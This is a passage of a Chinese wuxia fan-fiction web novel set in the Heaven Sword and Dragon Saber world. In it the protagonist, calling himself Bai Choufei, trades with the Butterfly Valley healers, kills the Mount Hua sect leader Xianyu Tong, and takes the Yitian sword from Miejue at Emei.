在这里不远处的女山湖畔的蝴蝶谷内陈子云认为这世间最难得的两位大才,胡青牛夫妇。 不管是医术还是毒术,都大大的被这个时代的武林人士低估了。反倒是朝廷那边把各种毒药用的出神入化,一味“十香软筋散”就让六大派的高手束手待毙。 可惜这两人在后面竟然都死在所谓的金花婆婆手上,陈子云当初一直怀疑,这波斯奴是不是就是见不得中原医毒两术发展,才下的手,就跟她想偷“乾坤大挪移”一般。 到了女山湖畔,陈子云四下寻找一番,一路上嫣红姹紫,遍山遍野都是鲜花,春夏之交,正是百花争艳的时候。 好一番风光,这一趟就算是找不到蝴蝶谷也不枉来此间一回。 等走到一面绝壁之前,陈子云也不理会,自顾自的跟着到处飞舞的蝴蝶游逛,完全成了一副游玩的心态。 行了一程,但见蝴蝶越来越多,或花或白、或黑或紫,翩翩起舞。蝴蝶也不畏人,飞近时便在他头上、肩上、手上停留。 陈子云也暗暗好奇,蜂蜜倒是常有人养,难道这蝴蝶也能养着不成,可要不是人养的蝴蝶,怎么会如此近人。 又行了近半个时辰,只见一条清溪旁结着七、八间茅屋,茅屋前后左右都是花圃,种满了诸般花草。 “好一个蝴蝶谷,好一个蝶谷医仙,好一处人间桃源。“ 陈子云自然也知道此刻他已经找到了目标。 想来自己在汉水上徘徊数日,不得见芷若,在这里却是游玩间便找到了正主,这世间“缘”之一字,当真妙不可言。 还不等陈子云靠近,便看到就在茅屋前的空地上,一男一女正在激烈的争吵,而几个童子还在一旁的药圃整治药材,看来他们是见惯了这场面。 “咳咳,在下寻访蝶谷医仙至此,胡先生可在?” 陈子云本就早已看清了,只是人家夫妻正在处理家务事,自己要是不明示一番,不是无礼吗。 “哼,又是来找你这个大医仙的,你还不赶紧去见见,好教世人皆知你蝶谷医仙的威名。” 王难姑一听陈子云这话似乎就像是被火上浇了油。 “难姑,这人关我何事,我早就已经立下重誓,除明教子弟之外再不医任何人,不就是不想再不小心救了你下毒的人吗,你怎么不明白我的心意呢?” 胡青牛苦着脸解释道。 “好啊,你还是觉得你的医术比我的毒术高明不是,要不然我何必要你这样让我?” “难姑,你这是何处此言,我多年前就说过医仙是万万及不上毒仙的,你这又是何必?” 陈子云听到此处也是真不得不佩服这对冤家,可要是他再不开口,估计自己的打算就要落空了。 “医仙毒仙齐名天下,江湖人所共知。在下本是儒人,本以为男主外女主内,不好直接觐见夫人,才开口先问候了胡先生。不知是夫人在此,请恕在下失礼。” “夫人,你看,这小子虽然无礼,但也是说的实情,你我本是夫妻同命,哪有什么高下。” 胡青牛连忙接着陈子云给的梯子下台阶。 “哼。” 王难姑哼了一声,把脸转向了陈子云。 “你这书生倒是会说话的,你来这蝶谷所谓何事?” 胡青牛一直在那边暗示陈子云,指着王难姑,意思是一定要说是来找毒仙的而不是找他这个怕老婆的医仙。 陈子云嘴角一翘道:“我来找两位做笔交易。” “什么交易?不是来求医的?” 胡青牛夫妇都是好奇,来着蝶谷的人多半不是求医就是求药。虽然王难姑嘴上不服,但是她也知道,没什么正经人会求她要毒药来玩的,最多都是带病带伤,要不就是亲戚朋友有伤病,来找自己丈夫求医问药。 “我帮你们杀了鲜于通,你们收下我这枚借刀令。” “什么?” “你是谁?” 陈子云这话一出,两人都是神情戒备,胡青牛摆出了一副要干架的姿势,虽然他武艺并不高但也不是一点不会。 而旁边的王难姑似乎是被惊吓到了,手上也是一抖。 陈子云并没有在意两人的反应,而是从口袋里掏出了一块铁片,手指一弹就直接插在了两人的脚下。 这块铁片并没有什么神奇的地方,四四方方不过两寸左右,本来就是陈子云在赶路停下来吃饭时,遇见的街边的铁匠铺随意打造的。 只是这铁片上面却刻着一把刀,一把与相思一模一样的小刀,这把刀正是他用相思刀一点点刻上去的。 如果你仔细的盯着那把刀看,你就会感受到一股好似这把刀要从这铁片上跳出来的锋锐之气。 “两位该关心的不是我是谁,而更应该关心在下有没有这个本事办到这件事,不是吗?” “我们不认识什么鲜于通,还请你离开蝴蝶谷,难姑,跟我回去。” 胡青牛自然不会信这陌生书生的一面之词,拉着王难姑就要往屋子里去。 可他一拉却发现没能拉动自己的妻子。 胡青牛回头,发现王难姑此时正目不转睛的盯着那个陌生书生。他看着那书生,一副小白脸的摸样,不由得心里一晃。 “难姑,难姑......” 声音甚是有几分凄苦。 “鬼叫什么,这人中了我的三步倒,到现在也只是晃了晃,说不定真有些本事。“ 王难姑指着陈子云说道。 “什么?你已经下毒了?难姑,你快走。” 胡青牛立马挡在了王难姑面前,就怕陈子云突然发难,只看刚才对方把那铁片插入地里的手法就不是他们夫妇能抵挡的。 “胡先生不需要如此,在下已经说了,我只是来做交易的,对两位并没有敌意。也请胡夫人把手里的毒药粉先收起来,万一伤到自己就不好了。” 陈子云说着就往王难姑那支手上轻轻一弹。 “啊!” 王难姑手上一痛,一包已经快打开的毒药从手里掉了下来。 “住手,你.....做了什么,难姑你可是伤着了?” 胡青牛着急的问道。 王难姑看着自己只是稍稍有点发红的手背,并没有什么别的感觉。 第五十七章 再上华山 “你是人是鬼,你是如何做到的?” 他们两人跟陈子云起码还有两丈的距离,这人竟然全然靠着指力发出的劲道隔空打到她的手,这样的功夫简直闻所未闻,也难怪她惊恐不已。 “胡先生,胡夫人,两位不必惊慌,刚刚那一指叫‘春分’,最是润物无声,并不在伤人。 当然如果在下愿意,自然也能做到‘春分’既到,万雪消融的霸道。” 陈子云说道此处一身的气势毫不保留的向着两人压去,直到他们冷汗连连了才又说道:“两位现在可是相信,在下有杀那鲜于通的本事了?” 胡青牛还是有些犹豫,几年前他已经有了得罪这些江湖高手的经历,实在有些担心,这人也会跟当初的金花婆婆一样纠缠不休。 “就算你的本事不小,可那鲜于老贼,现在贵为华山派掌门,难道你一个人还能对付整个门派不成。” “胡先生,在下自然不是那种只靠武力成事的莽夫。这件事情还要尊夫人帮忙,才好办。” “不行,绝对不行,要是要难姑出手,你这还算什么交易。” 胡青牛自然不会让自己的夫人以身犯险。 “胡先生误会了,我自然不需要尊夫人亲自动手,而是需要一些夫人配置的毒药而已。” “毒药?” “不错,要是单打独斗,功夫自然是最便利的,但是要对付一群人数远远多余自己的江湖人,毒药就是最好的手段。 一旦一个功夫卓绝的人,还能掌握运用毒药,那才是相辅相成,事半功倍的事情。 而那鲜于通也是这方面的高手,对付这种人也不需要有什么负担。” “不错,你倒是有些见识。人之所以学武,就是为了杀人,毒术也可用于杀人,两者又有什么不同。” 王难姑像是被说道了心坎上。 “这个交易我们做了,但是我们必须要确认你真的杀了鲜于通之后,这个交易才算成立。” “难姑!?” “闭嘴,难道你就不想为青羊妹子报仇了吗?靠我们两人这仇要等到什么时候去!” 王难姑直接替胡青牛做了主。 陈子云盯着胡青牛,等他也终于点了头才继续说道:“好,如此今天的交易就算达成了。一个月之内两位如果没有听到华山派死掌门的消息,那就请两位把这铁片扔这条小溪里。” “那你的条件呢,既然是交易,没有我们光受益的道理。” 胡青牛还是个谨慎的。 “这个自然,既然说好了是交易,自然有买有卖的才算。到时候我会让人拿着同样的铁片来找你们,你们到时候按照他的要求完成就行。 放心,绝对是两位力所能及的事情。 当然如果两位觉得这交易还算划得来,你们也可以向那人提出继续交易的要求,希望我们合作愉快。” 胡青牛拔出了插在地上的那块铁片,看着那似乎随时都要出鞘的小刀很是疑惑,不知道江湖上什么时候出了一个这么厉害的人物,似乎这人的背后还有不小的势力。 “两位,既然交易已经商定,那在下也就准备告辞了,还请胡夫人给一些刚才用的‘三步倒’给在下。” 陈子云托了托手道。 “毒药好说,但是你连个名字都不留下吗,还有你是属于哪个江湖势力的,为什么我没听过有你这么一号人物?” 王难姑倒是比自己的夫君更直接些。 “在下白愁飞,如今的江湖上还没在下的名号。至于势力吗,就暂且唤做借刀盟吧,——路见不平,借刀一用。’相信用不了多久,两位就能从江湖上听到这个名头了。” 陈子云说完接过王难姑递过来的药粉包,便不再停留。 “借刀盟,白愁飞,师哥,这人到底是个什么来头?” “不管他什么来头,现在还跟我们没关系。如果......万一他真的能帮我们杀了鲜于通那个狗贼,那不管他是谁,就都是你我要舍身相报的大恩人了,还管他是谁?” “师哥说的是,就是可怜了青羊妹子了。” 王难姑此时难得没有对自己夫君发脾气,想来也是想到了那位跟自己亲近的小姑子了。 ...... 陈子云再次启程,经河南入陕西,随后直奔华山。 好在这华山他倒是轻车熟路,上一次他还直接去了华山密地思过崖,这次偷摸摸的上山也没被别人发现。 不过与笑傲时期的华山剑派不同,如今的华山派还是个传承完善的江湖门派,不单单是专精剑法。 陈子云躲在暗处观察,看见不少弟子都是在以拳法入门,练剑法的都是一些年纪稍大的弟子。 而且这里的华山弟子人数少说也有上百,不是笑傲江湖里那个大猴小猴两三只的华山派能比的。 不过有些可惜的是,陈子云藏身在华山几天,都没见鲜于通现身。虽然他认不得人,可一个掌门一旦出现在弟子门人面前,光看他们的态度就能知道了,何必非要认识人。 直到听到两个修炼完的弟子闲谈,才知道原来鲜于通已经闭关修炼华山派的绝技“鹰蛇生死搏”快一个月了。 而闭关的地方,竟然也是在玉女峰上。 陈子云不由得感叹,他是来华山的第一时间的就排除了那里的。因为在他看来玉女峰思过崖是惩罚弟子面壁的地方,鲜于通堂堂一个掌门,自然是不会去那里。 这也就是惯性思维害人,笑傲江湖中的面壁惩罚之地,为何就不能是倚天屠龙之中掌门的闭关修炼之所呢? 陈子云不由得摇头苦笑了,自己这几天的风餐露宿算是白挨了。 沿着老路再次来到华山玉女峰的绝顶,陈子云也没有故意隐藏身形。因为来过这里的陈子云知道,这思过崖上寸草不生,根本没有可以遮挡的地方,索性就让这鲜于通死个明白吧。 “谁?阁下何人,为何不经通报私自上我华山派重地。” 一声正义凌然的大喝传来,如果不是知道这位鲜于掌门的德性,一般的小毛贼可能真的就被吓住了。 “鲜于通,我算过了,就算你的声音能惊动山下的护道人,他们上来最少也要一盏茶的时间。 那么你就试试,自己能不能撑得过这人生中的最后一盏茶吧。” 陈子云也不待说完,一出手就是两指,一指“惊蛰”,如平地生雷,风雨相随,指风足以穿山裂石。 又一指“霜降”,瞬时间寒霜百里,天地间一片肃杀。 “啊......” 第五十八章 杀鲜于 鲜于通哪里见过如此恐怖的杀人指法,慌乱之间只得本能的把苦练良久的华山派绝技——七十二路“鹰蛇生死搏”施展开来。 只见他收拢折扇,握在右手,露出铸作蛇头之形的尖利扇柄,左手使的则是鹰爪功路子;右手蛇头点打刺戳,左手则是擒拿扭勾,双手招数截然不同。既有苍鹰矫矢之姿,又有毒蛇灵动之势。 可惜陈子云本来就算准了他会这般的抵挡,那一指“惊蛰”就是直接奔着他右手上的折扇去的。 只听咔嚓一声,随即就是鲜于通的惨叫,陈子云的这一指不但打碎了这钢骨制成的折扇,还射穿了他的手掌。 而那一指“霜降”更是直接点在了鲜于通的丹田之上,一声破败之声,这华山掌门数十年的功力就此毁于一旦。 “啊,杀了我,快杀了我!” 鲜于通伏在地下,犹如杀猪般的惨叫,声音凄厉,撼人心弦。 原来那藏在扇子之中的金蝉蛊毒,也随着折扇的破碎而被鲜于通自己吸入了不少。这毒物令中毒者求生不能,求死不得,偏偏又神智清楚,身上每一处的痛楚加倍清楚的感到。 这毒物要中毒者痛足七日七夜,肉腐见骨之后方能咽下最后一口气。比之中者立毙的毒药,其可畏可怖,不可同日而语。 鲜于通作为藏毒的人,自然知道这金蝉蛊毒的可怕,所以他才求一速死。 陈子云自然不会理会他,这样的死法本来就是在鲜于通对那个苗家女子始乱终的时候就应该领受的,白白让他多活了这么多年,已经是老天无眼了。 陈子云挥动衣袖,将可能还在空中漂浮的毒粉吹散,随后走到一块石壁面前,拿出袖中的相思刀,在上面刻下鲜于通种种罪孽。 “此獠年少时始乱终弃.......后有胡青牛相救......竟然害死已经怀孕的胡青羊.......再有为夺掌门害死师兄白垣。” 陈子云细数了鲜于通的种种该死之罪,最后在石壁的左下方署名:“路见不平,借刀一用。白愁飞杀鲜于通于华山绝顶。” 陈子云刚收刀入袖,突然之间,华山山下两声清啸传来。 “是何人在我华山派撒野!?” 声震山涧,回响不绝,这来人的功夫显然比这华山掌门要高不少。不过此时陈子云也没有见识华山绝学的心思,直接朝着玉女峰一跃而下。 还是如同上次一般,借着相思小刀之利与金属丝线之牢固,飘然然之间荡下山去。 任凭那登上玉女峰的两位高手翻遍绝顶,也无处可寻他的丝毫踪迹。 陈子云刚离开华山脚下,整个华阴县就被华山弟子包围了,所有在此的江湖人顿时感觉到了风声鹤唳。 有几个与华山派相熟的江湖人,还本想找熟人打听,结果都被脸色铁青的华山弟子给挡了回来,丝毫不顾以前的情意。 也不说这次华山派如此大的动作是何原因,只是让他们乖乖待着不要出门,等师门前辈前来检查。 华山派行事还是第一次如此霸道,平时鲜于通一项是温和君子示人,结交江湖人士也是故作谦虚,这次华山派的如此动作却是让众多江湖人满满的忐忑。 整个华阴县足足静默了五天,华山派更是全员出动。不过作为现在正道六大派之一的华山,有这个实力,也有这个威望让群雄束手。 可纸终究包不住火,鲜于通身死华山绝顶的事情,还是被一个华山弟子在酒后不小心传出来了。 这一下不只是华阴县这一亩三分地,整个江湖都震了三震。 鲜于通是谁,那可是如今的华山掌门人,那神机子的绰号不知道震慑了多少江湖宵小。 可如今却莫名其妙的死了,还是死在了自己的大本营里,华山绝顶之上。这消息要不是已经被华山派默认,就算是自己亲爹告诉自己的,估计也不会有人信。 不是说鲜于通就不能死,江湖风霜,刀头舔血,这世上谁死了都有可能,谁到最后终究也是逃不过一死。 可这怎么死,却是大大的不同。有听说过比武擂台上死的,有仇家报复被杀死的;还有被毒死的,被暗杀死的,这些都不稀奇。 最让人无法理解的是,怎么会有掌门人被人杀死在自己门派里,而别的门人弟子竟然一点也不知,这简直就是千古未有之奇事。 要么是江湖上爆发灭门的大战,否则一个掌门怎么可能说死就死。 华山派的人当然也看到了陈子云留在石壁上的东西,这些东西当然也立刻就被人给凿去了。 不管这些事情的真假,华山派都丢不起这个人。至于鲜于通是活活疼死的,还是让相信了石壁上所言的华山长老给一掌拍死的,这就不重要了。 反正到了后面,华山派还是放出了风来,对白愁飞杀无赦,这当然也能理解。不管自己掌门多么的不堪,你可以来举报,但是不能私自动手。 他们华山派可以清理门户处理自己的不孝子弟,但是容不得一个外人插手,否则华山派百年的威名如何得存。 所以在陈子云离开华山不久,一封封信件就发向了各个江湖门派,具体内容就是一句话,请各位同道帮忙,华山派誓必要这个姓白的,血债血偿。 为此,华山派可以付出一些代价。 可没过多久,这个神秘的白愁飞还没被找到,江湖上却是开始流传一些关于华山已故掌门鲜于通的离奇消息了。 关于这位华山前掌门如何始乱终弃,如何忘恩负义,如何弑杀同门。 一开始还没人信,可随着这谣言越传越广,越说越像那么一回事,好多江湖人看华山派门人的眼神开始不对了。 他们虽然没有明着说出来,但是那眼中的意味已经很明显了,仿佛就在说:“原来你们掌门是这样的掌门啊!” 有些华山弟子也不知道这消息是真是假,只是本着维护自己门派的心理,立刻就对这些人发出了警告。 可有些弟子是看到过那些石刻的,心里顿时就心虚了,而这样的反应也恰恰坐实了那些谣言,原来不是谣言。 江湖哗然,群雄不齿,华山派的名头一时甚至超过少林武当,当然是负面的,这简直是华山派立派以来的最大耻辱。 有个脾气暴躁的华山长老,差点就把刚下葬不久的鲜于通挖出来鞭尸了。 第五十九章 上峨眉 “哎,本来上次收到华山派送来的书信,还以为是白小友性格偏激做了错事,没想到却是如此!” 张三丰接过宋远桥递过来的书信感叹道。 “师父,您也认为这些江湖留言,确有其事?那鲜于通竟然如此不堪?” 宋远桥已经接掌武当事物多年,本来一般的书信自然不用惊动张三丰。只是这件事情一方面涉及一派掌门,一方面又事关武当的恩人,自然要禀报一番。 “大师伯,我上次就说白叔叔不会是个滥杀无辜的人,你还不信呢。” 张无忌在一边高兴的说道。 他现在本来就是时刻跟在张三丰身边的,以防身上的寒毒突然发作。白愁飞杀华山掌门鲜于通的事情,自然也没有瞒着他。 “无忌,虽然说白少侠这次算不得是枉杀,可这般的上门杀人掌门的事情,终究还是暴厉了一些,你要切记,将来......” 宋远桥对于这个自己五弟的遗孤也算是上心的,本正想借着这件事教育一番,好让他知道些做人的道理,可想到这可怜的孩子也许活不了多久了,不由得语噎。 “太师傅,看来这名门正派的掌门也不一定都是好人。” 张无忌自然是童言无忌,他本来就对这些逼死自己父母的所谓名门正派没有好感,现在发生这样的事情,更是让他深信不疑。 “无忌,看人切不可只看人的一时一面,也不能因为华山派一人之失,就怪罪他人。 不过你说的这句话也不算错,自古以来,这正邪两字,原本难分,正派弟子若是心术不正,便是邪徒,邪派中人只要一心向善,便是正人君子。 这句话你万万要记住,不可只凭这一些江湖上的流言蜚语去判断一个人的好坏。有些人看着面目和善,说不准也暗藏祸心;而有些人因为天生面容不佳,却有菩萨心肠。” 张三丰幽幽的说道,他这是想起了张翠山刚回来之时,因为担心殷素素的出身,自己用来教导他的话。如今却是又用在了他的孩子身上,不由得让这位百岁老人叹惋。 “是,谢谢太师傅教诲,无忌记下了。” 张无忌点头受教。 “好孩子。” ...... 而胡青牛夫妇在蝴蝶谷内收到鲜于通身死的消息之后,两人抱着痛哭了一场,又在妹妹胡青羊的灵前诉说了一夜。 大仇得报,亡灵安息。 胡青牛最后直接把陈子云留下的那块借刀令,一起放在了供桌上,早晚三炷香的供奉了起来。 本来已经立誓“见死不救”的胡青牛,更是乔装了一番,拿着个游方医生的招牌去了蝴蝶谷外义诊三天。 还给自己取了个胡半仙的诨号,只为了祭奠这场疼彻心扉的往事,终究得以解脱。 在江湖上不知如何热闹的时候,陈子云却是一路朝着峨眉山而来,此时他已然身在峨眉金顶之下。 “霞光射金殿,群山脚下连;倘若身自去,云海缥缈间。” 这峨眉金顶不愧是流传千年的绝秀所在,比起武当山来也不遑多让。 不过陈子云这次来峨眉,可不是来欣赏风景的。 他此行的目的很简单,这里有一样东西,跟他的计划大为关键。那就是倚天剑,再准确一些说,是倚天剑里藏着的那卷九阴真经。 上面记载的那些能让人速成的功法,是陈子云后面计划的关键一环,所以今天他此行的目的就是来借剑的。 “来者何人,此处乃峨眉金顶,闲人不得擅入。” 陈子云抬头看了一眼这个峨眉派的男弟子,灭绝师太素来不喜男徒,峨嵋门下男弟子不能获传上乘武功,地位也较女弟子为低。 所以这看山门的活计自然是由这些男弟子负责,可这些男弟子虽然在门派内的地位低,对于一般的江湖人却也看不上眼。 作为现在隐隐只在少林武当之下的峨眉派的一员,当然是骄傲的,要不然怎么会有这么多的男弟子心甘情愿来这里做二等人。 “还请兄台通报一声,借刀盟白愁飞前来拜见峨眉灭绝师太。” 此时华山的消息还没有传到峨眉来,所以这峨眉派的弟子自然也不知道所谓的借刀盟白愁飞是哪个,只以为又是一个来抱峨眉派大腿的货色。 “岂有此理,我峨眉掌门是何等人物,岂是你一个无名小卒能轻易见到的,快走。” 那男弟子满是不屑的挥手驱赶。 可当他看到陈子云那渐渐变的犀利的眼神时,整个身子就如掉进了冬天的湖水里,凉了个彻底。 “你......你要做什么?” 那男弟子哆哆嗦嗦的问道。 “去通报。” 陈子云懒得跟这种货色废话。 那男弟子连滚带爬的就往山门里跑去。 陈子云本以为自己这番操作应该能把灭绝师太给激出来,可没想到等来的不过是十几个峨眉弟子。 其中一个走在最中间的一个女弟子,看着虽非美女,却也颇有姿容,面目俊俏,颇有楚楚之姿。 可那抬头看天,高人一等的姿态,却不由得让陈子云心里不舒服,连张三丰这位大宗师都平易待人,她算是个什么东西,哪里来的这般骄傲。 “大胆狂徒,竟然敢来我峨眉金顶闹事,活的不耐烦了吗!” 果然,这人不但看着可恶,一开口,这屁放的更是臭不可闻。 “我是来找灭绝师太的。” 陈子云还是耐着性子回了一句。 “无知小辈,我师傅是什么身份,也是你能见的,再不滚,让你见识峨眉剑法的厉害。” 陈子云深吸了一口气,看着那口水四溅的泼妇轻声问了一句:“你可是姓丁?” “好啊,你竟然还敢窥探我峨眉派的私密,众师妹,出剑。” 随着一阵整齐的叮铃声,泛着白光的十几把剑同时指向陈子云。 可此时的陈子云却没有半分把这些剑看在眼里,而是盯着那女弟子叹道:“毒手无盐丁敏君,名不虚传!” “小贼,找死。” 丁敏君恼怒欲狂,出手一剑就直接往陈子云的心口上刺来。 这一剑要是刺中了,就算是华佗在世也救不了他,这丁敏君是奔着要陈子云的小命来的。 第六十章 夺倚天 可就在丁敏君以为要将这出言不逊的小子一剑穿心的时候,她发现自己已经到了对方胸口的剑尖却是怎么也刺不下去了。 她的剑被两根白的跟美玉一般的修长手指给夹在了中间,这手指美的让她嫉妒,可现在却更让她感到恐惧,她从来没有想过,哪一天自己的剑会被一个人用两根手指夹住。 “杀了他。” 丁敏君恐惧的大叫,她庆幸自己不是一个人来的,而是带了十几个师妹一起。这个人能夹住自己的一把剑,难道还能同时夹住十几把剑不成。 想到这里,丁敏君眼里的恐惧没了,变成了一种邪恶的期待与张狂的笑意。 可还不等她的嘴角上扬,只听得叮的一声脆响,一阵巨力从自己握住的剑柄上传来,直接把她的手臂震的发麻,身体不可控的后仰,剑自然也脱手而出。 随后就是接连不断的叮叮声,以及自己那些师妹们的惊叫之声,刚褪去的恐惧再次降临。 丁敏君想看看到底发生了什么,可是后仰的身体让她的眼睛只能看到天上的浮云。 等她重重的落到了地上,几乎在同时之间,她也听到了几声沉闷的声响,那是跟自己的身体与地面接触时,发出的类似的声响。 丁敏君慌乱的回头,她首先看到的是倒了一地的师妹,而中间还站着的那个人却是迄今为止她见过的最荒谬的景象。 那人挺直的站着,就想自己刚出山门是看到的一样,似乎从来没有动过一般。可是他那一只右手上,却用两根手指同时捏住了十几把长剑,那长剑就像是在他手上开出的一朵花。 美丽而又荒诞的花,这世间怎么会有这样离奇的花。 叮铃铃,铛铛铛...... 剑被陈子云随手扔在地上,她也没有再看倒地的任何人一眼,而是往峨眉山门里面望去。 因为峨眉金顶里面传来的动静让他知道,自己要见的正主已经来了。 “敢在我峨眉派,伤我峨眉弟子,谁给你的胆子!” 一个白发萧然的老尼,不知道什么时候已经到了陈子云的两丈外站着了。 “晚辈白......” 不等陈子云把话说完,灭绝师太的剑已经指向了他的咽喉。 “好。” 同样是峨眉剑法,在灭绝手中与在丁敏君手中简直就是天壤之别。 陈子云双脚在地上连点,身形不住的往后退去,一退再退。 “既然前辈不令赐教,那晚辈就奉陪了。” 后退的时候,陈子云还不忘客气一句,其实他这也是明摆着在挑衅灭绝师太。面对她如此突然的一剑,陈子云还能在躲闪的同时开口说话,叫向来骄傲的灭绝如何能忍。 “好轻功。” 灭绝虽然手段狠辣,但也不是心口不一之人,见陈子云年纪轻轻就有如此修为,口中也不乏赞赏。 可她嘴上虽然赞着,手里的剑可没有的停顿,一招接着一招的峨眉剑法,霎时间就要把面前的敌人赶尽杀绝。 陈子云不由得大为疑惑,不管是郭靖黄蓉还是杨过东邪,应该都不会教郭襄如此凶戾的剑法。 那这所谓的峨眉传承,到底传承的事哪门子剑法。 “师太剑法如此凶戾,妄为出家之人。” “好贼子,此乃我自创的灭绝之剑,自是要让敌首皆断与剑下。看你年纪轻轻,技艺不凡,要是你此时投降,我就饶你性命。” “嘿,就这也配叫灭、绝,狗屁不通的东西,将前辈传承百年的好东西改成如此摸样,竟然还敢枉称创招,不知所谓,你以为你是张三丰吗?” “小贼找死。” 陈子云此时也懒得跟灭绝师太废话了,一指点出,直接在她的剑锋上一弹,利剑顿时破碎成了数段。 “什么!” 灭绝也是惊骇不已,不过她毕竟是久经沙场的江湖老人,立刻大喝一声。 “倚天剑,来。” 一道寒芒吞吐,倚天剑如电闪星飞般从峨眉派内射了出来。 陈子云也不客气,“春分”、“夏至”,“小寒”,三指齐出,三道指风分别点向灭绝师太三处要穴。 只听得叮叮叮三声脆响,刚被灭绝师太接在手里的倚天剑便震颤不已。要不是灭绝见机不对,用双手执剑,说不定这天下第一的宝剑就要飞顿而出了。 “师傅。” “都别过来。” 那些随着倚天剑一起出来的弟子正想上来帮忙,却被灭绝厉声的喝止了。 一方面是灭绝师太为了维护在自己弟子面前的威严,另一方面也是怕自己这些弟子损在这来历不明的高手手里。 “倚天一出,谁也争锋。小子,最后给你一次机会,否则就别怪我剑下无情。” 陈子云看着灭绝手上那把寒芒尽露的倚天剑,心里也不由得暗赞一声好剑。 他也知道,这个时候要是还用二十四节气惊神指对敌,实在是太吃亏了。 陈子云把藏在袖子里的相思刀露出了一点,指着灭绝师太道:“刀名相思,愿意以此刀一试倚天剑的锋锐。” “好,既然你如此冥顽不灵,那就接招吧。” 一道寒芒闪过,陈子云出刀迎上。 刀与剑在空中相交,碰撞之间仿佛如电闪雷鸣,陈子怡揪着金属丝一拉,连忙把相思刀收回手中。 细细的检查了一遍刀身,竟然丝毫未伤,才放下自己忐忑的心情。 对面的灭绝也是一脸的不可思议,自从持有倚天剑以来,还没有什么兵器能扛得住轻轻的一剑。 “你这是什么刀?” “小刀相思,这世间最是斩不断的刀。” 陈子云笑着说道。 “哼,油嘴滑舌,看剑。” 灭绝不信这小小的相思刀,能挡得住倚天剑的锋锐,朝着陈子云一剑接着一剑。 陈子云此时正欢喜着,也不怕灭绝的倚天剑,就索性一刀接着一刀与这传说中除了屠龙刀就无敌手的宝剑碰撞了起来。 一招,十招,百招。 直到看的一旁的峨眉弟子都露出不可置信的神情,两人都没有停下的意思。 在这些峨眉弟子的概念里,只要自己的师父用出了倚天剑,不管对手是谁,都难以走过三招。 可现在灭绝面对的不过是一个弱冠之年的书生,竟然上百招都拿不下,这怎么能不动摇他们心中,自己师父无敌的形象。 尤其是那个看门的男子弟,自己刚才还那般趾高气昂的对待陈子云,结果对方竟然是一个不亚于自己掌门的绝顶高手。 此时他害怕的连手脚都在不可遏制的颤抖。 而陈子云在确认自己的相思小刀的质地不下于倚天剑的时候,他已经大喜过望了。 看着灭绝师太,终究因为年纪的关系,体力终于还是跟不上了,一指“惊蛰”弹在她执剑的手腕上。 咔嚓一声,腕骨应声而断,倚天剑随即被抛飞,陈子云顺手一抄将剑握在手里。 第六十一章 走昆仑 “倚天剑......” 灭绝师太完全不顾自己的手腕之伤,激动的就想上来抢夺。 陈子云左手一转,立刻将剑尖对准灭绝。 “师太,这是输不起吗?” “你......” 灭绝师太脸色一阵变换。 “你可以走,把倚天剑留下。” “走?为何要走?师太以为这峨眉山上谁能拦得住我?” “你......要如何?” 灭绝师太看了一眼自己的那些弟子,知道有此时的峨眉山是没人拦得住手持倚天剑的陈子云的,不得不低头。 “如何?自然是要带走这把倚天剑。” “休想,就是我灭绝死在这里,你也休想夺走倚天剑。” “难道,你就不顾你这些峨眉的门人子弟了?” “既然他们是峨眉子弟,自然要维护峨眉的尊严。这倚天剑乃是我峨眉祖传之物,更是掌门象征,哪怕是峨眉弟子死绝了,也绝不能拱手让人。” 陈子云看着灭绝师太那一副决绝的样子也不由得头疼,他虽然不怕这些人,但是终日要是被这帮人惦记着,自己的计划就不好实施了。 “我帮你杀杨逍,这倚天剑算是你峨眉借我的,为期三年,如何?” 陈子云只能抛出了最后的筹码。 “你说什么!?” 灭绝师太甚是激动。 “如果师太同意,我现在就动身去昆仑。” “不行,你拿走了倚天剑,我要如何确定你不会食言而肥。” 灭绝师太看着陈子云手上的倚天剑满眼的纠结,一个是她做梦都想杀死的仇敌,一把是她峨眉传承的至宝。 “灭绝师太,你是真的想峨眉就此断了传承吗?” 陈子云不怀好意的讲目光扫向那一堆颤巍巍的峨眉弟子。 灭绝师太咬着牙,眼神左右游移了许久,狠声说道:“要是你敢食言,就算是追到天涯海角,我灭绝在此发誓,必定取你狗命。” 陈子云看了一眼有些色令内荏的灭绝师太,转身就下了峨眉山。 其实陈子云之所以说要用杨逍与峨眉换倚天剑三年的使用权,不仅仅是为了倚天剑。 而是对于杨逍,这个号称光明左使,实则为强奸犯的家伙看不过眼。这家伙说到底,其实跟笑傲江湖里的田伯光也不过是一丘之貉。 无非就是一次与多次的差别,可采花贼难道只采一次,就能当做不算了吗? 至于说后来纪晓芙并不后悔这段孽缘,甚至还可能真的爱上了杨逍。可根据陈子云对这位纪女侠的分析,她性格温柔,善良,甚至对作为峨眉死对头的魔教中人也有手下留情的心思。 如果放在平常人家,纪晓芙肯定就是一个最传统的大家闺秀的形象。而嫁鸡随鸡嫁狗随狗的思想,想必也是被她认同的。 这样的女人,一旦一个男人占有了她的身体,心理上难免就会认为自己已经属于对方的错觉。 要是按照现代的说法,也可以算得上是变种的“斯得哥尔摩综合症”。 所以陈子云并不认可这样的变态的爱恋关系,因为这情况说的再直白一些,就是一个女人爱上了曾强奸自己的强奸犯。 何其荒谬,又不是在拍那些年香港流行的有色电影! 不过这一路从峨眉到昆仑,陈子云并没有着急赶路,因为他要开始为他的计划招募人手了。 因为这里一路往西,随着越来越靠近明教的总坛,元庭的控制力度就相对小了很多,所以这一带也是陈子云选定的第一步发展的区域。 他一路走一路收拢了一些无家可归的流浪者,不管是老人小孩,还是残疾、妇人他都要。 他在四川、甘肃、青海三省交界的位置买下了一大片的田地。他组织那些长者负责管理,让青年建造房屋与开垦土地,让小孩开始学习认字。 等这些人有了自己活下去的希望,有了把这地方看着自己未来可以依靠的家园的期待之后,陈子云才重新上路。 后面的路上,如果还碰到合适的人,陈子云就会告诉他们。在那个地方,有一个可以接纳他们的家园,并给他们一些零散的银两作为盘缠。 陈子云并不担心这些人拿着他的钱却不去他的地方,因为这些人本来就无处可去。 或者说,陈子云也并不在乎那些小钱,对他来说,他派发出去的不是银钱,而是一份希望。 能不能最终接住,那是他们自己的问题。 至于说陈子云的这些钱是哪里来的,在这西域地界,除了沙子最多的就是强盗。一般的旅人要是碰到了这些沙盗,跟遇上阎王爷也没什么区别。 因为沙盗的流动性,他们根本不在乎什么竭泽而渔的说法,这个地方抢的没人了,就去另一个地方继续抢,反正这里的沙漠大的没有边际。 而当这些沙盗运气不好抢劫到了陈子云的头上,他自然也不会客气,倚天剑一出,连人带马直接一剑两段。 